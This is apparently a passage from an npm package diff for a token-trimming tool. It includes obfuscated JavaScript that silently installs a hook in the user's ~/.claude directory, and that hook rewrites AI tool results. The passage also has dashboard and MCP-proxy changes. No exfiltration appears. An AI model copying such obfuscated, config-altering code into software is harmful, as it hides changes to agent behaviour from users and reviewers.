te().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20last_accessed_at:\x20new\x20Date().toISOString(),\x0a\x20\x20\x20\x20\x20\x20\x20\x20summary:\x20`Summary:\x20Tool\x20result\x20offloaded\x20(${rawTokens}\x20tokens).`,\x0a\x20\x20\x20\x20\x20\x20\x20\x20raw_payload:\x20contentStr\x0a\x20\x20\x20\x20\x20\x20},\x20null,\x202));\x0a\x0a\x20\x20\x20\x20\x20\x20if\x20(typeof\x20event.result\x20===\x20\x27string\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(event.result\x20&&\x20typeof\x20event.result\x20===\x20\x27object\x27)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20event.result.content\x20=\x20replacement;\x0a\x20\x20\x20\x20\x20\x20}\x0a\x0a\x20\x20\x20\x20\x20\x20//\x20Update\x20sessions_state.json\x20with\x20hook\x20savings\x0a\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20statePath\x20=\x20path.join(baseDir,\x20\x27sessions_state.json\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20state\x20=\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(statePath))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x20state\x20=\x20JSON.parse(fs.readFileSync(statePath,\x20\x27utf8\x27))\x20||\x20{};\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20//\x20Find\x20latest\x20session\x20file\x20for\x20\x27claude\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20const\x20claudeDirs\x20=\x20[\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27projects\x27),\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20path.join(os.homedir(),\x20\x27.claude\x27,\x20\x27history\x27)\x0a\x20\x20\x20\x20\x20\x20\x20\x20];\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestFullPath\x20=\x20null;\x0a\x20\x20\x20\x20\x20\x20\x20\x20let\x20latestTime\x20=\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20dir\x20of\x20claudeDirs)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(fs.existsSync(dir))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20scanDir\x20=\x20(currentDir,\x20depth\x20=\x200)\x20=>\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(depth\x20>\x206)\x20return;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20try\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20entries\x20=\x20fs.readdirSync(currentDir,\x20{\x20withFileTypes:\x20true\x20});\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20for\x20(const\x20entry\x20of\x20entries)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20full\x20=\x20path.join(currentDir,\x20entry.name);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.isDirectory())\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(full,\x20depth\x20+\x201);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20else\x20if\x20(entry.isFile()\x20&&\x20!entry.name.startsWith(\x27.\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(entry.name.endsWith(\x27.jsonl\x27)\x20||\x20entry.name.endsWith(\x27.json1\x27))\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20stat\x20=\x20fs.statSync(full);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20if\x20(stat.mtimeMs\x20>\x20latestTime)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestTime\x20=\x20stat.mtimeMs;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20latestFullPath\x20=\x20full;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20scanDir(dir);\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20if\x20(latestFullPath)\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20existing\x20=\x20state[latestFullPath]\x20||\x20{};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20prevHook\x20=\x20existing.hookSavedTokens\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20newHook\x20=\x20prevHook\x20+\x20savedTokens;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalOfficial\x20=\x20existing.officialCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20const\x20finalAuto\x20=\x20existing.autoCompactSaved\x20||\x200;\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20state[latestFullPath]\x20=\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lineCount:\x20existing.lineCount\x20||\x201,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20activeSavedTokens:\x20finalOfficial\x20+\x20finalAuto\x20+\x20newHook,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20sideCacheSaved:\x20existing.sideCacheSaved\x20||\x200,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20officialCompactSaved:\x20finalOfficial,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20autoCompactSaved:\x20finalAuto,\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20hookSavedTokens:\x20newHook\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20};\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fs.writeFileSync(statePath,\x20JSON.stringify(state,\x20null,\x202),\x20\x27utf8\x27);\x0a\x20\x20\x20\x20\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20\x20\x20}\x0a\x20\x20}\x20catch\x20(e)\x20{}\x0a\x20\x20return\x20event;\x0a};\x0a','1451367nvBmgN','path','join','495354AJdgoe','prototype','758380DMXXhV','__setModuleDefault','90UwhshZ','existsSync','homedir','configurable','length','mkdirSync','1325868vqJxsr'];a0_0x5053=function(){return _0x5b40e7;};return a0_0x5053();}var __createBinding=this&&this['__createBinding']||(Object[a0_0x32181d(0x128)]?function(_0x20ac14,_0x4cff5a,_0x437e1a,_0x37a778){var _0x3d3351=a0_0x32181d;if(_0x37a778===undefined)_0x37a778=_0x437e1a;var _0x147779=Object[_0x3d3351(0x11e)](_0x4cff5a,_0x437e1a);(!_0x147779||(_0x3d3351(0x11b)in _0x147779?!_0x4cff5a[_0x3d3351(0x126)]:_0x147779[_0x3d3351(0x122)]||_0x147779[_0x3d3351(0x134)]))&&(_0x147779={'enumerable':!![],'get':function(){return _0x4cff5a[_0x437e1a];}}),Object[_0x3d3351(0x120)](_0x20ac14,_0x37a778,_0x147779);}:function(_0xf15261,_0x2acc6b,_0xf68f9d,_0xa3d0f4){if(_0xa3d0f4===undefined)_0xa3d0f4=_0xf68f9d;_0xf15261[_0xa3d0f4]=_0x2acc6b[_0xf68f9d];}),__setModuleDefault=this&&this[a0_0x32181d(0x130)]||(Object['create']?function(_0x120360,_0x48cdb7){var _0x20b2a3=a0_0x32181d;Object[_0x20b2a3(0x120)](_0x120360,'default',{'enumerable':!![],'value':_0x48cdb7});}:function(_0x47e868,_0x59c935){var _0x2fa650=a0_0x32181d;_0x47e868[_0x2fa650(0x11a)]=_0x59c935;}),__importStar=this&&this[a0_0x32181d(0x11c)]||(function(){var _0x572f24=function(_0x48b79d){var _0x3a3916=a0_0x116e;return _0x572f24=Object[_0x3a3916(0x123)]||function(_0x344ca4){var _0x512754=_0x3a3916,_0x558cc6=[];for(var _0x21f90d in _0x344ca4)if(Object[_0x512754(0x12e)]['hasOwnProperty']['call'](_0x344ca4,_0x21f90d))_0x558cc6[_0x558cc6['length']]=_0x21f90d;return _0x558cc6;},_0x572f24(_0x48b79d);};return function(_0x3ca0c2){var _0x1904ae=a0_0x116e;if(_0x3ca0c2&&_0x3ca0c2[_0x1904ae(0x126)])return _0x3ca0c2;var _0x273807={};if(_0x3ca0c2!=null){for(var _0x184d7f=_0x572f24(_0x3ca0c2),_0xdb7259=0x0;_0xdb7259<_0x184d7f[_0x1904ae(0x135)];_0xdb7259++)if(_0x184d7f[_0xdb7259]!==_0x1904ae(0x11a))__createBinding(_0x273807,_0x3ca0c2,_0x184d7f[_0xdb7259]);}return __setModuleDefault(_0x273807,_0x3ca0c2),_0x273807;};}());Object[a0_0x32181d(0x120)](exports,a0_0x32181d(0x126),{'value':!![]}),exports[a0_0x32181d(0x11d)]=installClaudeHooks;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x32181d(0x12b))),os=__importStar(require('os'));function installClaudeHooks(){var _0x10b212=a0_0x32181d;try{const _0x5e55b3=path['join'](os[_0x10b212(0x133)](),'.claude','hooks');!fs[_0x10b212(0x132)](_0x5e55b3)&&fs[_0x10b212(0x136)](_0x5e55b3,{'recursive':!![]});const _0x10b100=path[_0x10b212(0x12c)](_0x5e55b3,'post_tool_use.js'),_0x344a24=_0x10b212(0x129);fs['writeFileSync'](_0x10b100,_0x344a24,_0x10b212(0x125));}catch(_0x1b7301){}}
package/index.html CHANGED
@@ -1569,6 +1569,8 @@
1569
1569
  const response = await fetch(`/api/stats/inspect/${id}`);
1570
1570
  const data = await response.json();
1571
1571
 
1572
+ const info = detectFilterType(data.raw, data.compressed, command);
1573
+
1572
1574
  const cmdLower = command ? command.toLowerCase() : '';
1573
1575
  if (cmdLower.includes('conv:') || cmdLower.includes('turn') || cmdLower.includes('message') || cmdLower.includes('chat')) {
1574
1576
  const rawTokens = Math.ceil(info.rawLen / 4) || 0;
@@ -1578,8 +1580,6 @@
1578
1580
  document.getElementById('diff-raw').innerHTML = highlightRedacted(escapeHtml(data.raw), 'red');
1579
1581
  document.getElementById('diff-comp').innerHTML = highlightRedacted(escapeHtml(data.compressed), 'green');
1580
1582
  }
1581
-
1582
- const info = detectFilterType(data.raw, data.compressed, command);
1583
1583
  const bar = document.getElementById('inspect-info-bar');
1584
1584
  let html = `<span>Raw: <strong>${info.rawLen.toLocaleString()}</strong> chars</span>`;
1585
1585
  html += `<span>Compressed: <strong>${info.compLen.toLocaleString()}</strong> chars</span>`;
@@ -1646,16 +1646,16 @@
1646
1646
  } catch {}
1647
1647
  }
1648
1648
 
1649
- // Initial load: detect model + load CSA toggles, then load stats
1650
- Promise.all([autoDetectModel(), loadCsaToggles()]).then(() => {
1651
- loadStats();
1652
- loadHistory();
1653
- });
1654
- // Poll updates every 5 seconds
1655
- setInterval(() => {
1656
- loadStats();
1657
- loadHistory();
1658
- }, 5000);
1649
+ // Initial load: paint the chart + headline numbers immediately, then refine
1650
+ // in the background. loadHistory() already draws the chart AND (via its own
1651
+ // loadStats call) the headline numbers, so we don't block it behind anything.
1652
+ loadHistory();
1653
+ // Background, non-blocking: CSA toggles + model auto-detection. Once the model
1654
+ // is known we refresh just the numbers (the chart is already on screen).
1655
+ loadCsaToggles();
1656
+ autoDetectModel().then(() => loadStats());
1657
+ // Poll updates every 5 seconds (loadHistory refreshes the numbers too).
1658
+ setInterval(loadHistory, 5000);
1659
1659
  </script>
1660
1660
  </body>
1661
1661
  </html>
package/mcp.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x25a2(_0x1e3712,_0x35f69e){_0x1e3712=_0x1e3712-0x14f;const _0x505547=a0_0x5055();let _0x25a2c8=_0x505547[_0x1e3712];return _0x25a2c8;}const a0_0x14da0a=a0_0x25a2;(function(_0x3feec4,_0x53da64){const _0x2844ce=a0_0x25a2,_0x4bc6c3=_0x3feec4();while(!![]){try{const _0x4c5a03=-parseInt(_0x2844ce(0x179))/0x1+parseInt(_0x2844ce(0x154))/0x2*(-parseInt(_0x2844ce(0x18a))/0x3)+parseInt(_0x2844ce(0x151))/0x4*(parseInt(_0x2844ce(0x17e))/0x5)+parseInt(_0x2844ce(0x189))/0x6*(-parseInt(_0x2844ce(0x176))/0x7)+parseInt(_0x2844ce(0x15a))/0x8*(-parseInt(_0x2844ce(0x164))/0x9)+parseInt(_0x2844ce(0x172))/0xa+-parseInt(_0x2844ce(0x182))/0xb*(-parseInt(_0x2844ce(0x168))/0xc);if(_0x4c5a03===_0x53da64)break;else _0x4bc6c3['push'](_0x4bc6c3['shift']());}catch(_0x3ec39a){_0x4bc6c3['push'](_0x4bc6c3['shift']());}}}(a0_0x5055,0xb2b3d));function a0_0x5055(){const _0x189f04=['5415320IUKRyT','length','mcp-tool-call','optimizeMaxTokens','4788959bjonSm','exit','./proxy-conv','628307XZbXYG','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','get','max_tokens','./filters','5Fpdvnr','\x20tokens\x20saved)','call','features_enabled','4308117XqfjSL','getConfig','__importStar','defineProperty','2.0','default','__esModule','6aaEMLT','21687cQeXwd','message','inherit','\x20trimmed,\x20~','stdout','redaction_enabled','max_tokens:\x20','prototype','logExecution','trim','conv_compress','line','savedTokens','method','error','runMcpProxy','trimmedCount','resp_optimize','end','4285816DWylsS','close','./proxy-resp','246REWsHu','child_process','content','createInterface','pipe','proxy:conv-compress','52448Vqldot','spawn','proxy:resp-optimize','tracker','\x20messages','messages','text','compressConversation','writable','\x20messages\x20(','1413NMyjOi','getOwnPropertyDescriptor','parse','create','72CZUPVR','compressOutput','__createBinding','isArray','__setModuleDefault','write','jsonrpc','result','stringify','stdin'];a0_0x5055=function(){return _0x189f04;};return a0_0x5055();}var __createBinding=this&&this[a0_0x14da0a(0x16a)]||(Object[a0_0x14da0a(0x167)]?function(_0x2ca164,_0x447d60,_0x21e6de,_0x212d52){const _0x37f15e=a0_0x14da0a;if(_0x212d52===undefined)_0x212d52=_0x21e6de;var _0x1167a5=Object[_0x37f15e(0x165)](_0x447d60,_0x21e6de);(!_0x1167a5||(_0x37f15e(0x17b)in _0x1167a5?!_0x447d60[_0x37f15e(0x188)]:_0x1167a5[_0x37f15e(0x162)]||_0x1167a5['configurable']))&&(_0x1167a5={'enumerable':!![],'get':function(){return _0x447d60[_0x21e6de];}}),Object[_0x37f15e(0x185)](_0x2ca164,_0x212d52,_0x1167a5);}:function(_0x4fd490,_0x27c806,_0x4eb9a7,_0x1d3f8e){if(_0x1d3f8e===undefined)_0x1d3f8e=_0x4eb9a7;_0x4fd490[_0x1d3f8e]=_0x27c806[_0x4eb9a7];}),__setModuleDefault=this&&this[a0_0x14da0a(0x16c)]||(Object[a0_0x14da0a(0x167)]?function(_0x269ae3,_0x3db89d){const _0x35abd2=a0_0x14da0a;Object[_0x35abd2(0x185)](_0x269ae3,_0x35abd2(0x187),{'enumerable':!![],'value':_0x3db89d});}:function(_0x58491a,_0x5691ab){_0x58491a['default']=_0x5691ab;}),__importStar=this&&this[a0_0x14da0a(0x184)]||(function(){var _0x4cb92f=function(_0x3a4929){return _0x4cb92f=Object['getOwnPropertyNames']||function(_0x5369fb){const _0x103423=a0_0x25a2;var _0x1149c8=[];for(var _0x33646a in _0x5369fb)if(Object[_0x103423(0x191)]['hasOwnProperty'][_0x103423(0x180)](_0x5369fb,_0x33646a))_0x1149c8[_0x1149c8[_0x103423(0x173)]]=_0x33646a;return _0x1149c8;},_0x4cb92f(_0x3a4929);};return function(_0x1aec24){const _0x331f75=a0_0x25a2;if(_0x1aec24&&_0x1aec24[_0x331f75(0x188)])return _0x1aec24;var _0xfd4104={};if(_0x1aec24!=null){for(var _0x425500=_0x4cb92f(_0x1aec24),_0x27c7fe=0x0;_0x27c7fe<_0x425500[_0x331f75(0x173)];_0x27c7fe++)if(_0x425500[_0x27c7fe]!==_0x331f75(0x187))__createBinding(_0xfd4104,_0x1aec24,_0x425500[_0x27c7fe]);}return __setModuleDefault(_0xfd4104,_0x1aec24),_0xfd4104;};}());Object['defineProperty'](exports,a0_0x14da0a(0x188),{'value':!![]}),exports[a0_0x14da0a(0x199)]=runMcpProxy;const child_process_1=require(a0_0x14da0a(0x155)),readline=__importStar(require('readline')),filters_1=require(a0_0x14da0a(0x17d)),tracker_1=require('./tracker'),proxy_conv_1=require(a0_0x14da0a(0x178)),proxy_resp_1=require(a0_0x14da0a(0x153));function runMcpProxy(_0xf3d84e,_0x50b262){const _0x138e57=a0_0x14da0a,_0x26ac91=(0x0,child_process_1[_0x138e57(0x15b)])(_0xf3d84e,_0x50b262,{'stdio':[_0x138e57(0x158),_0x138e57(0x158),_0x138e57(0x18c)]}),_0x3a2bea=tracker_1[_0x138e57(0x15d)][_0x138e57(0x183)](),_0x5bd550=_0x3a2bea[_0x138e57(0x181)]||{},_0xe265f5=_0x5bd550[_0x138e57(0x194)]!==![],_0x279b0d=_0x5bd550[_0x138e57(0x14f)]!==![],_0x126e87=readline[_0x138e57(0x157)]({'input':process['stdin'],'terminal':![]});_0x126e87['on'](_0x138e57(0x195),_0x5bdd8b=>{const _0x429972=_0x138e57;try{const _0x4c3ae2=JSON[_0x429972(0x166)](_0x5bdd8b);if(_0x4c3ae2&&_0x4c3ae2[_0x429972(0x16e)]===_0x429972(0x186)&&_0x4c3ae2[_0x429972(0x197)]&&_0x4c3ae2['params']){const _0x467755=_0x4c3ae2['params'];if(Array[_0x429972(0x16b)](_0x467755[_0x429972(0x15f)])&&_0x467755[_0x429972(0x15f)][_0x429972(0x173)]>0x0){if(_0xe265f5){const _0x20369a=(0x0,proxy_conv_1[_0x429972(0x161)])(_0x467755[_0x429972(0x15f)]);(_0x20369a[_0x429972(0x19a)]>0x0||_0x20369a[_0x429972(0x196)]>0x0)&&(_0x467755[_0x429972(0x15f)]=_0x20369a[_0x429972(0x15f)],tracker_1['tracker'][_0x429972(0x192)](_0x429972(0x159),_0x20369a['trimmedCount']+_0x20369a[_0x429972(0x15f)]['length']+_0x429972(0x15e),_0x20369a[_0x429972(0x15f)][_0x429972(0x173)]+_0x429972(0x163)+_0x20369a['trimmedCount']+_0x429972(0x18d)+_0x20369a[_0x429972(0x196)]+_0x429972(0x17f),0x0,undefined,[_0x429972(0x194)]));}if(_0x279b0d){const _0x587265=(0x0,proxy_resp_1[_0x429972(0x175)])(_0x467755[_0x429972(0x15f)],_0x467755['max_tokens']);if(_0x587265){const _0x492c6a=_0x467755[_0x429972(0x17c)]||_0x429972(0x187);_0x467755[_0x429972(0x17c)]=_0x587265[_0x429972(0x17c)],tracker_1[_0x429972(0x15d)][_0x429972(0x192)](_0x429972(0x15c),_0x429972(0x190)+_0x492c6a,'max_tokens:\x20'+_0x587265[_0x429972(0x17c)]+'\x20('+_0x587265['complexity']+')',0x0,undefined,[_0x429972(0x14f)]);}}}_0x26ac91[_0x429972(0x171)][_0x429972(0x16d)](JSON[_0x429972(0x170)](_0x4c3ae2)+'\x0a');}else _0x26ac91[_0x429972(0x171)][_0x429972(0x16d)](_0x5bdd8b+'\x0a');}catch{_0x26ac91[_0x429972(0x171)]['write'](_0x5bdd8b+'\x0a');}}),_0x126e87['on'](_0x138e57(0x152),()=>{const _0x23bc3e=_0x138e57;try{_0x26ac91[_0x23bc3e(0x171)][_0x23bc3e(0x150)]();}catch{}});const _0x5f3d3c=readline[_0x138e57(0x157)]({'input':_0x26ac91[_0x138e57(0x18e)],'terminal':![]});_0x5f3d3c['on'](_0x138e57(0x195),_0x3aadf1=>{const _0x432ef6=_0x138e57;try{const _0x38f843=JSON[_0x432ef6(0x166)](_0x3aadf1);if(_0x38f843&&_0x38f843[_0x432ef6(0x16e)]===_0x432ef6(0x186)&&_0x38f843['id']!==undefined&&_0x38f843['result']&&Array[_0x432ef6(0x16b)](_0x38f843[_0x432ef6(0x16f)][_0x432ef6(0x156)])){let _0x2c1c11=![];for(const _0x2fb5fc of _0x38f843[_0x432ef6(0x16f)]['content']){if(_0x2fb5fc['type']==='text'&&typeof _0x2fb5fc[_0x432ef6(0x160)]==='string'&&_0x2fb5fc[_0x432ef6(0x160)][_0x432ef6(0x193)]()[_0x432ef6(0x173)]>0x0){const _0x4adbd6=_0x2fb5fc[_0x432ef6(0x160)],_0x2c2776=(0x0,filters_1[_0x432ef6(0x169)])(_0x432ef6(0x174),_0x4adbd6,'',tracker_1[_0x432ef6(0x15d)]['getConfig']()[_0x432ef6(0x18f)]);tracker_1['tracker'][_0x432ef6(0x192)]('mcp\x20tool\x20(id:\x20'+_0x38f843['id']+')',_0x4adbd6,_0x2c2776,0x0),_0x2fb5fc['text']=_0x2c2776,_0x2c1c11=!![];}}_0x2c1c11?process['stdout'][_0x432ef6(0x16d)](JSON[_0x432ef6(0x170)](_0x38f843)+'\x0a'):process[_0x432ef6(0x18e)][_0x432ef6(0x16d)](_0x3aadf1+'\x0a');}else process['stdout']['write'](_0x3aadf1+'\x0a');}catch{process['stdout'][_0x432ef6(0x16d)](_0x3aadf1+'\x0a');}}),_0x26ac91['on'](_0x138e57(0x152),_0x3f23e8=>{const _0x26d1eb=_0x138e57;process[_0x26d1eb(0x177)](_0x3f23e8||0x0);}),_0x26ac91['on'](_0x138e57(0x198),_0x505d1b=>{const _0x10942a=_0x138e57;console[_0x10942a(0x198)](_0x10942a(0x17a)+_0x505d1b[_0x10942a(0x18b)]),process['exit'](0x1);});}
1
+ 'use strict';const a0_0x5a841f=a0_0x2337;function a0_0x3287(){const _0xd36ee5=['call','trim','3RMXDCp','getConfig','max_tokens','create','writable','./tracker','defineProperty','__createBinding','type','parse','method','trimmedCount','__importStar','default','\x20messages\x20(','proxy:resp-optimize','370OhSeJg','stringify','max_tokens:\x20','content','params','exit','tracker','readline','error','1359468cSKpQg','compressConversation','text','33996LFsZwa','mcp\x20tool\x20(id:\x20','conv_compress','createInterface','8749395uDzhyE','logExecution','isArray','message','result','1722RYKkDB','spawn','get','savedTokens','./filters','835YGcsHL','mcp-tool-call','prototype','redaction_enabled','\x20messages','optimizeMaxTokens','./proxy-resp','stdin','resp_optimize','jsonrpc','[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20','\x20trimmed,\x20~','length','getOwnPropertyDescriptor','43480MzQoDu','messages','876766FKiaPa','end','stdout','1082502uERqBN','write','__esModule','close','features_enabled','proxy:conv-compress','2.0','3119810airvwv','runMcpProxy','line'];a0_0x3287=function(){return _0xd36ee5;};return a0_0x3287();}(function(_0x2c9828,_0x33f72c){const _0x4fe878=a0_0x2337,_0x1b564c=_0x2c9828();while(!![]){try{const _0xe291b3=parseInt(_0x4fe878(0x1e5))/0x1+parseInt(_0x4fe878(0x1c7))/0x2*(-parseInt(_0x4fe878(0x1cc))/0x3)+parseInt(_0x4fe878(0x19f))/0x4*(-parseInt(_0x4fe878(0x1ad))/0x5)+-parseInt(_0x4fe878(0x1c0))/0x6+-parseInt(_0x4fe878(0x1a8))/0x7*(parseInt(_0x4fe878(0x1bb))/0x8)+parseInt(_0x4fe878(0x1a3))/0x9+-parseInt(_0x4fe878(0x1dc))/0xa*(-parseInt(_0x4fe878(0x1bd))/0xb);if(_0xe291b3===_0x33f72c)break;else _0x1b564c['push'](_0x1b564c['shift']());}catch(_0x2f76a4){_0x1b564c['push'](_0x1b564c['shift']());}}}(a0_0x3287,0xbf6d0));function a0_0x2337(_0x312213,_0x21a590){const _0x32874d=a0_0x3287();return a0_0x2337=function(_0x2337b0,_0x8958d1){_0x2337b0=_0x2337b0-0x19f;let _0x1f099b=_0x32874d[_0x2337b0];return _0x1f099b;},a0_0x2337(_0x312213,_0x21a590);}var __createBinding=this&&this[a0_0x5a841f(0x1d3)]||(Object[a0_0x5a841f(0x1cf)]?function(_0x6b5b90,_0x49d10b,_0xbb3bee,_0x538eb3){const _0x41ccd5=a0_0x5a841f;if(_0x538eb3===undefined)_0x538eb3=_0xbb3bee;var _0x375adb=Object[_0x41ccd5(0x1ba)](_0x49d10b,_0xbb3bee);(!_0x375adb||(_0x41ccd5(0x1aa)in _0x375adb?!_0x49d10b[_0x41ccd5(0x1c2)]:_0x375adb[_0x41ccd5(0x1d0)]||_0x375adb['configurable']))&&(_0x375adb={'enumerable':!![],'get':function(){return _0x49d10b[_0xbb3bee];}}),Object['defineProperty'](_0x6b5b90,_0x538eb3,_0x375adb);}:function(_0x972608,_0x56525a,_0x3ff24f,_0x56524f){if(_0x56524f===undefined)_0x56524f=_0x3ff24f;_0x972608[_0x56524f]=_0x56525a[_0x3ff24f];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x2e3eb6,_0x376422){const _0x410800=a0_0x5a841f;Object[_0x410800(0x1d2)](_0x2e3eb6,_0x410800(0x1d9),{'enumerable':!![],'value':_0x376422});}:function(_0x48c526,_0x11da91){const _0x46df5a=a0_0x5a841f;_0x48c526[_0x46df5a(0x1d9)]=_0x11da91;}),__importStar=this&&this[a0_0x5a841f(0x1d8)]||(function(){var _0x596e58=function(_0x16a792){return _0x596e58=Object['getOwnPropertyNames']||function(_0x37bd6c){const _0x373af3=a0_0x2337;var _0x187295=[];for(var _0x1c99da in _0x37bd6c)if(Object[_0x373af3(0x1af)]['hasOwnProperty'][_0x373af3(0x1ca)](_0x37bd6c,_0x1c99da))_0x187295[_0x187295[_0x373af3(0x1b9)]]=_0x1c99da;return _0x187295;},_0x596e58(_0x16a792);};return function(_0x5520c2){const _0x24c4fa=a0_0x2337;if(_0x5520c2&&_0x5520c2[_0x24c4fa(0x1c2)])return _0x5520c2;var _0x5b6f27={};if(_0x5520c2!=null){for(var _0x38416d=_0x596e58(_0x5520c2),_0x4d3c51=0x0;_0x4d3c51<_0x38416d['length'];_0x4d3c51++)if(_0x38416d[_0x4d3c51]!==_0x24c4fa(0x1d9))__createBinding(_0x5b6f27,_0x5520c2,_0x38416d[_0x4d3c51]);}return __setModuleDefault(_0x5b6f27,_0x5520c2),_0x5b6f27;};}());Object[a0_0x5a841f(0x1d2)](exports,a0_0x5a841f(0x1c2),{'value':!![]}),exports[a0_0x5a841f(0x1c8)]=runMcpProxy;const child_process_1=require('child_process'),readline=__importStar(require(a0_0x5a841f(0x1e3))),filters_1=require(a0_0x5a841f(0x1ac)),tracker_1=require(a0_0x5a841f(0x1d1)),proxy_conv_1=require('./proxy-conv'),proxy_resp_1=require(a0_0x5a841f(0x1b3));function runMcpProxy(_0x468130,_0x399ff6){const _0x524e5f=a0_0x5a841f,_0x1bd285=(0x0,child_process_1[_0x524e5f(0x1a9)])(_0x468130,_0x399ff6,{'stdio':['pipe','pipe','inherit']}),_0x1b95b6=tracker_1['tracker'][_0x524e5f(0x1cd)](),_0x531453=_0x1b95b6[_0x524e5f(0x1c4)]||{},_0x3f8602=_0x531453['conv_compress']!==![],_0x518ea4=_0x531453[_0x524e5f(0x1b5)]!==![],_0xfd453f=readline[_0x524e5f(0x1a2)]({'input':process[_0x524e5f(0x1b4)],'terminal':![]});_0xfd453f['on']('line',_0x317939=>{const _0x10cb0e=_0x524e5f;try{const _0xe64f15=JSON[_0x10cb0e(0x1d5)](_0x317939);if(_0xe64f15&&_0xe64f15[_0x10cb0e(0x1b6)]===_0x10cb0e(0x1c6)&&_0xe64f15[_0x10cb0e(0x1d6)]&&_0xe64f15[_0x10cb0e(0x1e0)]){const _0x118b51=_0xe64f15[_0x10cb0e(0x1e0)];if(Array['isArray'](_0x118b51[_0x10cb0e(0x1bc)])&&_0x118b51[_0x10cb0e(0x1bc)][_0x10cb0e(0x1b9)]>0x0){if(_0x3f8602){const 